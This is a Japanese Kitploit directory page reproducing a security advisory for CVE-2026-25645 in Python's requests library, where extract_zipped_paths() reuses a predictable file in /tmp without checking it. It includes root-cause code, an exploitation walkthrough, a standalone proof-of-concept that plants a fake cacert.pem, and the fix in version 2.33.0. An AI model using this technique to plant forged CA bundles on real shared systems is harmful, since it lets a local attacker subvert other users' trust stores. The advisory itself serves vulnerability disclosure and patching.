Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25645 — extract_zipped_paths() における安全でない一時ファイルの再利用 | Kitploit
ツール/GitHubGitHub/jaycelation/cve-2026-25645
静的分析脆弱性分析エクスプロイトウェブセキュリティ論文と研究
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

extract_zipped_paths() における安全でない一時ファイルの再利用

リポジトリを見る
6ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[CVE-2026-25645] requests.utils.extract_zipped_paths() における安全でない一時ファイルの再利用

エグゼクティブサマリー

Python の requests ライブラリにおいて、公開ユーティリティ関数 requests.utils.extract_zipped_paths() に脆弱性が確認されました。この関数は、システムの一時ディレクトリ (/tmp) にファイルを展開しようとする際に、予測可能で一意でないファイル名を使用しており、既存ファイルの整合性や所有権を検証していません。

requests と certifi を組み合わせたデフォルトの動作は importlib.resources によって緩和されていますが、このユーティリティは、圧縮リソースの処理にこれに依存する下流アプリケーションやカスタム実装にとって、依然としてセキュリティ上の落とし穴となっています。

脆弱性情報

  • CVE ID: CVE-2026-25645
  • CWE: CWE-377 (安全でない一時ファイル)
  • 深刻度: 中程度 (5.0)
  • CVSS ベクター: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • 影響を受けるバージョン: < 2.33.0

CVSS v3 基本メトリクス:

  • 攻撃元区分: ローカル
  • 攻撃条件の複雑さ: 低
  • 必要な特権レベル: 低
  • ユーザー関与: 要
  • スコープ: 変更なし
  • 機密性への影響: なし
  • 完全性への影響: 高
  • 可用性への影響: なし

技術的分析

メカニズム

関数 requests.utils.extract_zipped_paths() は、zip アーカイブからメンバーを展開するために設計されています (zipapp 環境で CA バンドルによく使用されます)。脆弱なロジックは以下の手順で構成されています:

  1. 予測可能なターゲット: システムの一時ディレクトリと zip メンバーの basename を結合します (例: /tmp/cacert.pem)。
  2. 安全でないチェック: if not os.path.exists(extracted_path) を使用して、ファイルを展開するかどうかを判断します。
  3. パスの返却: ファイルが存在する場合、そのファイルが現在のプロセスによって作成されたものであることを確認したり、内容を検証したりすることなく、直ちにパスを返します。

根本原因分析

requests/utils.py では、ロジックは以下のように実装されています:

root@kitploit:~
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

影響と悪用

低い特権を持つローカル攻撃者は、/tmp 内の予測可能なパスに悪意のあるファイル (例: 偽造された CA バンドル) を事前に作成することで、これを悪用できます。被害者 (ユーザーの操作が必要) がこのユーティリティを呼び出すアプリケーションを実行すると:

  1. ユーティリティはファイルが既に存在することを確認します。
  2. ユーティリティは展開をスキップし、悪意のあるファイルへのパスを返します。
  3. 被害者のアプリケーションは攻撃者のデータを読み込み、完全性への高い影響 (例: 偽造されたトラストストアの読み込み) をもたらします。

概念実証 (スタンドアロン)

以下のスクリプトは、ユーティリティがアーカイブ内の正規のファイルではなく、事前に存在する「偽の」ファイルを再利用する方法を示すことで、この脆弱性を実証しています。

root@kitploit:~
import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

修復

この問題はバージョン 2.33.0 で対処されています。修正では、圧縮リソースをより安全に処理するために importlib.resources への移行が行われ、展開がランダムで予測不可能なディレクトリで行われること、および共有の誰でも書き込み可能なディレクトリ内の既存ファイルの再利用を回避することが保証されています。

ツールをダウンロード